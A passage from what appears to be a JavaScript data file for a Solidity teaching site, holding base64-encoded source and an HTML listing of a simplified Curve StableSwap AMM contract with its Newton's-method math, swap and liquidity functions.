vIEFuXm4KCiAgICAgICAgdWludCBzOyAvLyB4XzAgKyB4XzEgKyAuLi4gKyB4XyhuLTEpCiAgICAgICAgZm9yICh1aW50IGk7IGkgPCBOOyArK2kpIHsKICAgICAgICAgICAgcyArPSB4cFtpXTsKICAgICAgICB9CgogICAgICAgIC8vIE5ld3RvbidzIG1ldGhvZAogICAgICAgIC8vIEluaXRpYWwgZ3Vlc3MsIGQgPD0gcwogICAgICAgIHVpbnQgZCA9IHM7CiAgICAgICAgdWludCBkX3ByZXY7CiAgICAgICAgZm9yICh1aW50IGk7IGkgPCAyNTU7ICsraSkgewogICAgICAgICAgICAvLyBwID0gRF4obiArIDEpIC8gKG5ebiAqIHhfMCAqIC4uLiAqIHhfKG4tMSkpCiAgICAgICAgICAgIHVpbnQgcCA9IGQ7CiAgICAgICAgICAgIGZvciAodWludCBqOyBqIDwgTjsgKytqKSB7CiAgICAgICAgICAgICAgICBwID0gKHAgKiBkKSAvIChOICogeHBbal0pOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGRfcHJldiA9IGQ7CiAgICAgICAgICAgIGQgPSAoKGEgKiBzICsgTiAqIHApICogZCkgLyAoKGEgLSAxKSAqIGQgKyAoTiArIDEpICogcCk7CgogICAgICAgICAgICBpZiAoTWF0aC5hYnMoZCwgZF9wcmV2KSA8PSAxKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZDsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXZlcnQoIkQgZGlkbid0IGNvbnZlcmdlIik7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIENhbGN1bGF0ZSB0aGUgbmV3IGJhbGFuY2Ugb2YgdG9rZW4gaiBnaXZlbiB0aGUgbmV3IGJhbGFuY2Ugb2YgdG9rZW4gaQogICAgICogQHBhcmFtIGkgSW5kZXggb2YgdG9rZW4gaW4KICAgICAqIEBwYXJhbSBqIEluZGV4IG9mIHRva2VuIG91dAogICAgICogQHBhcmFtIHggTmV3IGJhbGFuY2Ugb2YgdG9rZW4gaQogICAgICogQHBhcmFtIHhwIEN1cnJlbnQgcHJlY2lzaW9uLWFkanVzdGVkIGJhbGFuY2VzCiAgICAgKi8KICAgIGZ1bmN0aW9uIF9nZXRZKAogICAgICAgIHVpbnQgaSwKICAgICAgICB1aW50IGosCiAgICAgICAgdWludCB4LAogICAgICAgIHVpbnRbTl0gbWVtb3J5IHhwCiAgICApIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgLyoKICAgICAgICBOZXd0b24ncyBtZXRob2QgdG8gY29tcHV0ZSB5CiAgICAgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgICAgICB5ID0geF9qCgogICAgICAgIGYoeSkgPSB5XjIgKyB5KGIgLSBEKSAtIGMKCiAgICAgICAgICAgICAgICAgICAgeV9uXjIgKyBjCiAgICAgICAgeV8obisxKSA9IC0tLS0tLS0tLS0tLS0tCiAgICAgICAgICAgICAgICAgICAyeV9uICsgYiAtIEQKCiAgICAgICAgd2hlcmUKICAgICAgICBzID0gc3VtKHhfayksIGsgIT0gagogICAgICAgIHAgPSBwcm9kKHhfayksIGsgIT0gagogICAgICAgIGIgPSBzICsgRCAvIChBbl5uKQogICAgICAgIGMgPSBEXihuICsgMSkgLyAobl5uICogcCAqIEFuXm4pCiAgICAgICAgKi8KICAgICAgICB1aW50IGEgPSBBICogTjsKICAgICAgICB1aW50IGQgPSBfZ2V0RCh4cCk7CiAgICAgICAgdWludCBzOwogICAgICAgIHVpbnQgYyA9IGQ7CgogICAgICAgIHVpbnQgX3g7CiAgICAgICAgZm9yICh1aW50IGs7IGsgPCBOOyArK2spIHsKICAgICAgICAgICAgaWYgKGsgPT0gaSkgewogICAgICAgICAgICAgICAgX3ggPSB4OwogICAgICAgICAgICB9IGVsc2UgaWYgKGsgPT0gaikgewogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBfeCA9IHhwW2tdOwogICAgICAgICAgICB9CgogICAgICAgICAgICBzICs9IF94OwogICAgICAgICAgICBjID0gKGMgKiBkKSAvIChOICogX3gpOwogICAgICAgIH0KICAgICAgICBjID0gKGMgKiBkKSAvIChOICogYSk7CiAgICAgICAgdWludCBiID0gcyArIGQgLyBhOwoKICAgICAgICAvLyBOZXd0b24ncyBtZXRob2QKICAgICAgICB1aW50IHlfcHJldjsKICAgICAgICAvLyBJbml0aWFsIGd1ZXNzLCB5IDw9IGQKICAgICAgICB1aW50IHkgPSBkOwogICAgICAgIGZvciAodWludCBfaTsgX2kgPCAyNTU7ICsrX2kpIHsKICAgICAgICAgICAgeV9wcmV2ID0geTsKICAgICAgICAgICAgeSA9ICh5ICogeSArIGMpIC8gKDIgKiB5ICsgYiAtIGQpOwogICAgICAgICAgICBpZiAoTWF0aC5hYnMoeSwgeV9wcmV2KSA8PSAxKSB7CiAgICAgICAgICAgICAgICByZXR1cm4geTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXZlcnQoInkgZGlkbid0IGNvbnZlcmdlIik7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIENhbGN1bGF0ZSB0aGUgbmV3IGJhbGFuY2Ugb2YgdG9rZW4gaSBnaXZlbiBwcmVjaXNpb24tYWRqdXN0ZWQKICAgICAqIGJhbGFuY2VzIHhwIGFuZCBsaXF1aWRpdHkgZAogICAgICogQGRldiBFcXVhdGlvbiBpcyBjYWxjdWxhdGUgeSBpcyBzYW1lIGFzIF9nZXRZCiAgICAgKiBAcGFyYW0gaSBJbmRleCBvZiB0b2tlbiB0byBjYWxjdWxhdGUgdGhlIG5ldyBiYWxhbmNlCiAgICAgKiBAcGFyYW0geHAgUHJlY2lzaW9uLWFkanVzdGVkIGJhbGFuY2VzCiAgICAgKiBAcGFyYW0gZCBMaXF1aWRpdHkgZAogICAgICogQHJldHVybiBOZXcgYmFsYW5jZSBvZiB0b2tlbiBpCiAgICAgKi8KICAgIGZ1bmN0aW9uIF9nZXRZRCh1aW50IGksIHVpbnRbTl0gbWVtb3J5IHhwLCB1aW50IGQpIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgdWludCBhID0gQSAqIE47CiAgICAgICAgdWludCBzOwogICAgICAgIHVpbnQgYyA9IGQ7CgogICAgICAgIHVpbnQgX3g7CiAgICAgICAgZm9yICh1aW50IGs7IGsgPCBOOyArK2spIHsKICAgICAgICAgICAgaWYgKGsgIT0gaSkgewogICAgICAgICAgICAgICAgX3ggPSB4cFtrXTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICBzICs9IF94OwogICAgICAgICAgICBjID0gKGMgKiBkKSAvIChOICogX3gpOwogICAgICAgIH0KICAgICAgICBjID0gKGMgKiBkKSAvIChOICogYSk7CiAgICAgICAgdWludCBiID0gcyArIGQgLyBhOwoKICAgICAgICAvLyBOZXd0b24ncyBtZXRob2QKICAgICAgICB1aW50IHlfcHJldjsKICAgICAgICAvLyBJbml0aWFsIGd1ZXNzLCB5IDw9IGQKICAgICAgICB1aW50IHkgPSBkOwogICAgICAgIGZvciAodWludCBfaTsgX2kgPCAyNTU7ICsrX2kpIHsKICAgICAgICAgICAgeV9wcmV2ID0geTsKICAgICAgICAgICAgeSA9ICh5ICogeSArIGMpIC8gKDIgKiB5ICsgYiAtIGQpOwogICAgICAgICAgICBpZiAoTWF0aC5hYnMoeSwgeV9wcmV2KSA8PSAxKSB7CiAgICAgICAgICAgICAgICByZXR1cm4geTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXZlcnQoInkgZGlkbid0IGNvbnZlcmdlIik7CiAgICB9CgogICAgLy8gRXN0aW1hdGUgdmFsdWUgb2YgMSBzaGFyZQogICAgLy8gSG93IG1hbnkgdG9rZW5zIGlzIG9uZSBzaGFyZSB3b3J0aD8KICAgIGZ1bmN0aW9uIGdldFZpcnR1YWxQcmljZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHVpbnQgZCA9IF9nZXREKF94cCgpKTsKICAgICAgICB1aW50IF90b3RhbFN1cHBseSA9IHRvdGFsU3VwcGx5OwogICAgICAgIGlmIChfdG90YWxTdXBwbHkgPiAwKSB7CiAgICAgICAgICAgIHJldHVybiAoZCAqIDEwICoqIERFQ0lNQUxTKSAvIF90b3RhbFN1cHBseTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIDA7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIFN3YXAgZHggYW1vdW50IG9mIHRva2VuIGkgZm9yIHRva2VuIGoKICAgICAqIEBwYXJhbSBpIEluZGV4IG9mIHRva2VuIGluCiAgICAgKiBAcGFyYW0gaiBJbmRleCBvZiB0b2tlbiBvdXQKICAgICAqIEBwYXJhbSBkeCBUb2tlbiBpbiBhbW91bnQKICAgICAqIEBwYXJhbSBtaW5EeSBNaW5pbXVtIHRva2VuIG91dAogICAgICovCiAgICBmdW5jdGlvbiBzd2FwKHVpbnQgaSwgdWludCBqLCB1aW50IGR4LCB1aW50IG1pbkR5KSBleHRlcm5hbCByZXR1cm5zICh1aW50IGR5KSB7CiAgICAgICAgcmVxdWlyZShpICE9IGosICJpID0gaiIpOwoKICAgICAgICBJRVJDMjAodG9rZW5zW2ldKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgZHgpOwoKICAgICAgICAvLyBDYWxjdWxhdGUgZHkKICAgICAgICB1aW50W05dIG1lbW9yeSB4cCA9IF94cCgpOwogICAgICAgIHVpbnQgeCA9IHhwW2ldICsgZHggKiBtdWx0aXBsaWVyc1tpXTsKCiAgICAgICAgdWludCB5MCA9IHhwW2pdOwogICAgICAgIHVpbnQgeTEgPSBfZ2V0WShpLCBqLCB4LCB4cCk7CiAgICAgICAgLy8geTAgbXVzdCBiZSA+PSB5MSwgc2luY2UgeCBoYXMgaW5jcmVhc2VkCiAgICAgICAgLy8gLTEgdG8gcm91bmQgZG93bgogICAgICAgIGR5ID0gKHkwIC0geTEgLSAxKSAvIG11bHRpcGxpZXJzW2pdOwoKICAgICAgICAvLyBTdWJ0cmFjdCBmZWUgZnJvbSBkeQogICAgICAgIHVpbnQgZmVlID0gKGR5ICogU1dBUF9GRUUpIC8gRkVFX0RFTk9NSU5BVE9SOwogICAgICAgIGR5IC09IGZlZTsKICAgICAgICByZXF1aXJlKGR5ID49IG1pbkR5LCAiZHkgPCBtaW4iKTsKCiAgICAgICAgYmFsYW5jZXNbaV0gKz0gZHg7CiAgICAgICAgYmFsYW5jZXNbal0gLT0gZHk7CgogICAgICAgIElFUkMyMCh0b2tlbnNbal0pLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGR5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkoCiAgICAgICAgdWludFtOXSBjYWxsZGF0YSBhbW91bnRzLAogICAgICAgIHVpbnQgbWluU2hhcmVzCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQgc2hhcmVzKSB7CiAgICAgICAgLy8gY2FsY3VsYXRlIGN1cnJlbnQgbGlxdWlkaXR5IGQwCiAgICAgICAgdWludCBfdG90YWxTdXBwbHkgPSB0b3RhbFN1cHBseTsKICAgICAgICB1aW50IGQwOwogICAgICAgIHVpbnRbTl0gbWVtb3J5IG9sZF94cyA9IF94cCgpOwogICAgICAgIGlmIChfdG90YWxTdXBwbHkgPiAwKSB7CiAgICAgICAgICAgIGQwID0gX2dldEQob2xkX3hzKTsKICAgICAgICB9CgogICAgICAgIC8vIFRyYW5zZmVyIHRva2VucyBpbgogICAgICAgIHVpbnRbTl0gbWVtb3J5IG5ld194czsKICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICB1aW50IGFtb3VudCA9IGFtb3VudHNbaV07CiAgICAgICAgICAgIGlmIChhbW91bnQgPiAwKSB7CiAgICAgICAgICAgICAgICBJRVJDMjAodG9rZW5zW2ldKS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50KTsKICAgICAgICAgICAgICAgIG5ld194c1tpXSA9IG9sZF94c1tpXSArIGFtb3VudCAqIG11bHRpcGxpZXJzW2ldOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgbmV3X3hzW2ldID0gb2xkX3hzW2ldOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyBDYWxjdWxhdGUgbmV3IGxpcXVpZGl0eSBkMQogICAgICAgIHVpbnQgZDEgPSBfZ2V0RChuZXdfeHMpOwogICAgICAgIHJlcXVpcmUoZDEgPiBkMCwgImxpcXVpZGl0eSBkaWRuJ3QgaW5jcmVhc2UiKTsKCiAgICAgICAgLy8gUmVjY2FsY3VhdGUgRCBhY2NvdW50aW5nIGZvciBmZWUgb24gaW1iYWxhbmNlCiAgICAgICAgdWludCBkMjsKICAgICAgICBpZiAoX3RvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICAgICAgLy8gVE9ETzogd2h5IG9sZF94c1tpXSAqIGQxIC8gZDA/IHdoeSBub3QgZDEgLyBOPwogICAgICAgICAgICAgICAgdWludCBpZGVhbEJhbGFuY2UgPSAob2xkX3hzW2ldICogZDEpIC8gZDA7CiAgICAgICAgICAgICAgICB1aW50IGRpZmYgPSBNYXRoLmFicyhuZXdfeHNbaV0sIGlkZWFsQmFsYW5jZSk7CiAgICAgICAgICAgICAgICBuZXdfeHNbaV0gLT0gKExJUVVJRElUWV9GRUUgKiBkaWZmKSAvIEZFRV9ERU5PTUlOQVRPUjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZDIgPSBfZ2V0RChuZXdfeHMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGQyID0gZDE7CiAgICAgICAgfQoKICAgICAgICAvLyBVcGRhdGUgYmFsYW5jZXMKICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICBiYWxhbmNlc1tpXSArPSBhbW91bnRzW2ldOwogICAgICAgIH0KCiAgICAgICAgLy8gU2hhcmVzIHRvIG1pbnQgPSAoZDIgLSBkMCkgLyBkMCAqIHRvdGFsIHN1cHBseQogICAgICAgIC8vIGQxID49IGQyID49IGQwCiAgICAgICAgaWYgKF90b3RhbFN1cHBseSA+IDApIHsKICAgICAgICAgICAgc2hhcmVzID0gKChkMiAtIGQwKSAqIF90b3RhbFN1cHBseSkgLyBkMDsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBzaGFyZXMgPSBkMjsKICAgICAgICB9CiAgICAgICAgcmVxdWlyZShzaGFyZXMgPj0gbWluU2hhcmVzLCAic2hhcmVzIDwgbWluIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkoCiAgICAgICAgdWludCBzaGFyZXMsCiAgICAgICAgdWludFtOXSBjYWxsZGF0YSBtaW5BbW91bnRzT3V0CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnRbTl0gbWVtb3J5IGFtb3VudHNPdXQpIHsKICAgICAgICB1aW50IF90b3RhbFN1cHBseSA9IHRvdGFsU3VwcGx5OwoKICAgICAgICBmb3IgKHVpbnQgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICB1aW50IGFtb3VudE91dCA9IChiYWxhbmNlc1tpXSAqIHNoYXJlcykgLyBfdG90YWxTdXBwbHk7CiAgICAgICAgICAgIHJlcXVpcmUoYW1vdW50T3V0ID49IG1pbkFtb3VudHNPdXRbaV0sICJvdXQgPCBtaW4iKTsKCiAgICAgICAgICAgIGJhbGFuY2VzW2ldIC09IGFtb3VudE91dDsKICAgICAgICAgICAgYW1vdW50c091dFtpXSA9IGFtb3VudE91dDsKCiAgICAgICAgICAgIElFUkMyMCh0b2tlbnNbaV0pLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudE91dCk7CiAgICAgICAgfQoKICAgICAgICBfYnVybihtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgfQoKICAgIC8qKgogICAgICogQG5vdGljZSBDYWxjdWxhdGUgYW1vdW50IG9mIHRva2VuIGkgdG8gcmVjZWl2ZSBmb3Igc2hhcmVzCiAgICAgKiBAcGFyYW0gc2hhcmVzIFNoYXJlcyB0byBidXJuCiAgICAgKiBAcGFyYW0gaSBJbmRleCBvZiB0b2tlbiB0byB3aXRoZHJhdwogICAgICogQHJldHVybiBkeSBBbW91bnQgb2YgdG9rZW4gaSB0byByZWNlaXZlCiAgICAgKiAgICAgICAgIGZlZSBGZWUgZm9yIHdpdGhkcmF3LiBGZWUgYWxyZWFkeSBpbmNsdWRlZCBpbiBkeQogICAgICovCiAgICBmdW5jdGlvbiBfY2FsY1dpdGhkcmF3T25lVG9rZW4oCiAgICAgICAgdWludCBzaGFyZXMsCiAgICAgICAgdWludCBpCiAgICApIHByaXZhdGUgdmlldyByZXR1cm5zICh1aW50IGR5LCB1aW50IGZlZSkgewogICAgICAgIHVpbnQgX3RvdGFsU3VwcGx5ID0gdG90YWxTdXBwbHk7CiAgICAgICAgdWludFtOXSBtZW1vcnkgeHAgPSBfeHAoKTsKCiAgICAgICAgLy8gQ2FsY3VsYXRlIGQwIGFuZCBkMQogICAgICAgIHVpbnQgZDAgPSBfZ2V0RCh4cCk7CiAgICAgICAgdWludCBkMSA9IGQwIC0gKGQwICogc2hhcmVzKSAvIF90b3RhbFN1cHBseTsKCiAgICAgICAgLy8gQ2FsY3VsYXRlIHJlZHVjdGlvbiBpbiB5IGlmIEQgPSBkMQogICAgICAgIHVpbnQgeTAgPSBfZ2V0WUQoaSwgeHAsIGQxKTsKICAgICAgICAvLyBkMSA8PSBkMCBzbyB5IG11c3QgYmUgPD0geHBbaV0KICAgICAgICB1aW50IGR5MCA9ICh4cFtpXSAtIHkwKSAvIG11bHRpcGxpZXJzW2ldOwoKICAgICAgICAvLyBDYWxjdWxhdGUgaW1iYWxhbmNlIGZlZSwgdXBkYXRlIHhwIHdpdGggZmVlcwogICAgICAgIHVpbnQgZHg7CiAgICAgICAgZm9yICh1aW50IGo7IGogPCBOOyArK2opIHsKICAgICAgICAgICAgaWYgKGogPT0gaSkgewogICAgICAgICAgICAgICAgZHggPSAoeHBbal0gKiBkMSkgLyBkMCAtIHkwOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gZDEgLyBkMCA8PSAxCiAgICAgICAgICAgICAgICBkeCA9IHhwW2pdIC0gKHhwW2pdICogZDEpIC8gZDA7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgeHBbal0gLT0gKExJUVVJRElUWV9GRUUgKiBkeCkgLyBGRUVfREVOT01JTkFUT1I7CiAgICAgICAgfQoKICAgICAgICAvLyBSZWNhbGN1bGF0ZSB5IHdpdGggeHAgaW5jbHVkaW5nIGltYmFsYW5jZSBmZWVzCiAgICAgICAgdWludCB5MSA9IF9nZXRZRChpLCB4cCwgZDEpOwogICAgICAgIC8vIC0gMSB0byByb3VuZCBkb3duCiAgICAgICAgZHkgPSAoeHBbaV0gLSB5MSAtIDEpIC8gbXVsdGlwbGllcnNbaV07CiAgICAgICAgZmVlID0gZHkwIC0gZHk7CiAgICB9CgogICAgZnVuY3Rpb24gY2FsY1dpdGhkcmF3T25lVG9rZW4oCiAgICAgICAgdWludCBzaGFyZXMsCiAgICAgICAgdWludCBpCiAgICApIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCBkeSwgdWludCBmZWUpIHsKICAgICAgICByZXR1cm4gX2NhbGNXaXRoZHJhd09uZVRva2VuKHNoYXJlcywgaSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIFdpdGhkcmF3IGxpcXVpZGl0eSBpbiB0b2tlbiBpCiAgICAgKiBAcGFyYW0gc2hhcmVzIFNoYXJlcyB0byBidXJuCiAgICAgKiBAcGFyYW0gaSBUb2tlbiB0byB3aXRoZHJhdwogICAgICogQHBhcmFtIG1pbkFtb3VudE91dCBNaW5pbXVtIGFtb3VudCBvZiB0b2tlbiBpIHRoYXQgbXVzdCBiZSB3aXRoZHJhd24KICAgICAqLwogICAgZnVuY3Rpb24gcmVtb3ZlTGlxdWlkaXR5T25lVG9rZW4oCiAgICAgICAgdWludCBzaGFyZXMsCiAgICAgICAgdWludCBpLAogICAgICAgIHVpbnQgbWluQW1vdW50T3V0CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQgYW1vdW50T3V0KSB7CiAgICAgICAgKGFtb3VudE91dCwgKSA9IF9jYWxjV2l0aGRyYXdPbmVUb2tlbihzaGFyZXMsIGkpOwogICAgICAgIHJlcXVpcmUoYW1vdW50T3V0ID49IG1pbkFtb3VudE91dCwgIm91dCA8IG1pbiIpOwoKICAgICAgICBiYWxhbmNlc1tpXSAtPSBhbW91bnRPdXQ7CiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgSUVSQzIwKHRva2Vuc1tpXSkudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50T3V0KTsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludCBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludCBhbW91bnQpOwp9Cg==", - }, -] - -const html = `

Simplified version of Curve's stable swap AMM

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8;
-
-/*
-Invariant - price of trade and amount of liquidity are determined by this equation
-
-An^n sum(x_i) + D = ADn^n + D^(n + 1) / (n^n prod(x_i))
-
-Topics
-0. Newton's method x_(n + 1) = x_n - f(x_n) / f'(x_n)
-1. Invariant
-2. Swap
-   - Calculate Y
-   - Calculate D
-3. Get virtual price
-4. Add liquidity
-   - Imbalance fee
-5. Remove liquidity
-6. Remove liquidity one token
-   - Calculate withdraw one token
-   - getYD
-TODO: test?
-*/
-
-library Math {
-    function abs(uint x, uint y) internal pure returns (uint) {
-        return x >= y ? x - y : y - x;
-    }
-}
-
-contract StableSwap {
-    // Number of tokens
-    uint private constant N = 3;
-    // Amplification coefficient multiplied by N^(N - 1)
-    // Higher value makes the curve more flat
-    // Lower value makes the curve more like constant product AMM
-    uint private constant A = 1000 * (N ** (N - 1));
-    // 0.03%
-    uint private constant SWAP_FEE = 300;
-    // Liquidity fee is derived from 2 constraints
-    // 1. Fee is 0 for adding / removing liquidity that results in a balanced pool
-    // 2. Swapping in a balanced pool is like adding and then removing liquidity
-    //    from a balanced pool
-    // swap fee = add liquidity fee + remove liquidity fee
-    uint private constant LIQUIDITY_FEE = (SWAP_FEE * N) / (4 * (N - 1));
-    uint private constant FEE_DENOMINATOR = 1e6;
-
-    address[N] public tokens;
-    // Normalize each token to 18 decimals
-    // Example - DAI (18 decimals), USDC (6 decimals), USDT (6 decimals)
-    uint[N] private multipliers = [1, 1e12, 1e12];
-    uint[N] public balances;
-
-    // 1 share = 1e18, 18 decimals
-    uint private constant DECIMALS = 18;
-    uint public totalSupply;
-    mapping(address => uint) public balanceOf;
-
-    constructor(address[N] memory _tokens) {
-        tokens = _tokens;
-    }
-
-    function _mint(address _to, uint _amount) private {
-        balanceOf[_to] += _amount;
-        totalSupply += _amount;
-    }
-
-    function _burn(address _from, uint _amount) private {
-        balanceOf[_from] -= _amount;
-        totalSupply -= _amount;
-    }
-
-    // Return precision-adjusted balances, adjusted to 18 decimals
-    function _xp() private view returns (uint[N] memory xp) {
-        for (uint i; i < N; ++i) {
-            xp[i] = balances[i] * multipliers[i];
-        }
-    }
-
-    /**
-     * @notice Calculate D, sum of balances in a perfectly balanced pool
-     * If balances of x_0, x_1, ... x_(n-1) then sum(x_i) = D
-     * @param xp Precision-adjusted balances
-     * @return D
-     */
-    function _getD(uint[N] memory xp) private pure returns (uint) {
-        /*
-        Newton's method to compute D
-        -----------------------------
-        f(D) = ADn^n + D^(n + 1) / (n^n prod(x_i)) - An^n sum(x_i) - D 
-        f'(D) = An^n + (n + 1) D^n / (n^n prod(x_i)) - 1
-
-                     (as + np)D_n
-        D_(n+1) = -----------------------
-                  (a - 1)D_n + (n + 1)p
-
-        a = An^n
-        s = sum(x_i)
-        p = (D_n)^(n + 1) / (n^n prod(x_i))
-        */
-        uint a = A * N; // An^n
-
-        uint s; // x_0 + x_1 + ... + x_(n-1)
-        for (uint i; i < N; ++i) {
-            s += xp[i];
-        }
-
-        // Newton's method
-        // Initial guess, d <= s
-        uint d = s;
-        uint d_prev;
-        for (uint i; i < 255; ++i) {
-            // p = D^(n + 1) / (n^n * x_0 * ... * x_(n-1))
-            uint p = d;
-            for (uint j; j < N; ++j) {
-                p = (p * d) / (N * xp[j]);
-            }
-            d_prev = d;
-            d = ((a * s + N * p) * d) / ((a - 1) * d + (N + 1) * p);
-
-            if (Math.abs(d, d_prev) <= 1) {
-                return d;
-            }
-        }
-        revert("D didn't converge");
-    }
-
-    /**
-     * @notice Calculate the new balance of token j given the new balance of token i
-     * @param i Index of token in
-     * @param j Index of token out
-     * @param x New balance of token i
-     * @param xp Current precision-adjusted balances
-     */
-    function _getY(
-        uint i,
-        uint j,
-        uint x,
-        uint[N] memory xp
-    ) private pure returns (uint) {
-        /*
-        Newton's method to compute y
-        -----------------------------
-        y = x_j
-
-        f(y) = y^2 + y(b - D) - c
-
-                    y_n^2 + c
-        y_(n+1) = --------------
-                   2y_n + b - D
-
-        where
-        s = sum(x_k), k != j
-        p = prod(x_k), k != j
-        b = s + D / (An^n)
-        c = D^(n + 1) / (n^n * p * An^n)
-        */
-        uint a = A * N;
-        uint d = _getD(xp);
-        uint s;
-        uint c = d;
-
-        uint _x;
-        for (uint k; k < N; ++k) {
-            if (k == i) {
-                _x = x;
-            } else if (k == j) {
-                continue;
-            } else {
-                _x = xp[k];
-            }
-
-            s += _x;
-            c = (c * d) / (N * _x);
-        }
-        c = (c * d) / (N * a);
-        uint b = s + d / a;
-
-        // Newton's method
-        uint y_prev;
-        // Initial guess, y <= d
-        uint y = d;
-        for (uint _i; _i < 255; ++_i) {
-            y_prev = y;
-            y = (y * y + c) / (2 * y + b - d);
-            if (Math.abs(y, y_prev) <= 1) {
-                return y;
-            }
-        }
-        revert("y didn't converge");
-    }
-
-    /**
-     * @notice Calculate the new balance of token i given precision-adjusted
-     * balances xp and liquidity d
-     * @dev Equation is calculate y is same as _getY
-     * @param i Index of token to calculate the new balance
-     * @param xp Precision-adjusted balances
-     * @param d Liquidity d
-     * @return New balance of token i
-     */
-    function _getYD(uint i, uint[N] memory xp, uint d) private pure returns (uint) {
-        uint a = A * N;
-        uint s;
-        uint c = d;
-
-        uint _x;
-        for (uint k; k < N; ++k) {
-            if (k != i) {
-                _x = xp[k];
-            } else {
-                continue;
-            }
-
-            s += _x;
-            c = (c * d) / (N * _x);
-        }
-        c = (c * d) / (N * a);
-        uint b = s + d / a;
-
-        // Newton's method
-        uint y_prev;
-        // Initial guess, y <= d
-        uint y = d;
-        for (uint _i; _i < 255; ++_i) {
-            y_prev = y;
-            y = (y * y + c) / (2 * y + b - d);
-            if (Math.abs(y, y_prev) <= 1) {
-                return y;
-            }
-        }
-        revert("y didn't converge");
-    }
-
-    // Estimate value of 1 share
-    // How many tokens is one share worth?
-    function getVirtualPrice() external view returns (uint) {
-        uint d = _getD(_xp());
-        uint _totalSupply = totalSupply;
-        if (_totalSupply > 0) {
-            return (d * 10 ** DECIMALS) / _totalSupply;
-        }
-        return 0;
-    }
-
-    /**
-     * @notice Swap dx amount of token i for token j
-     * @param i Index of token in
-     * @param j Index of token out
-     * @param dx Token in amount
-     * @param minDy Minimum token out
-     */
-    function swap(uint i, uint j, uint dx, uint minDy) external returns (uint dy) {
-        require(i != j, "i = j");
-
-        IERC20(tokens[i]).transferFrom(msg.sender, address(this), dx);
-
-        // Calculate dy
-        uint[N] memory xp = _xp();
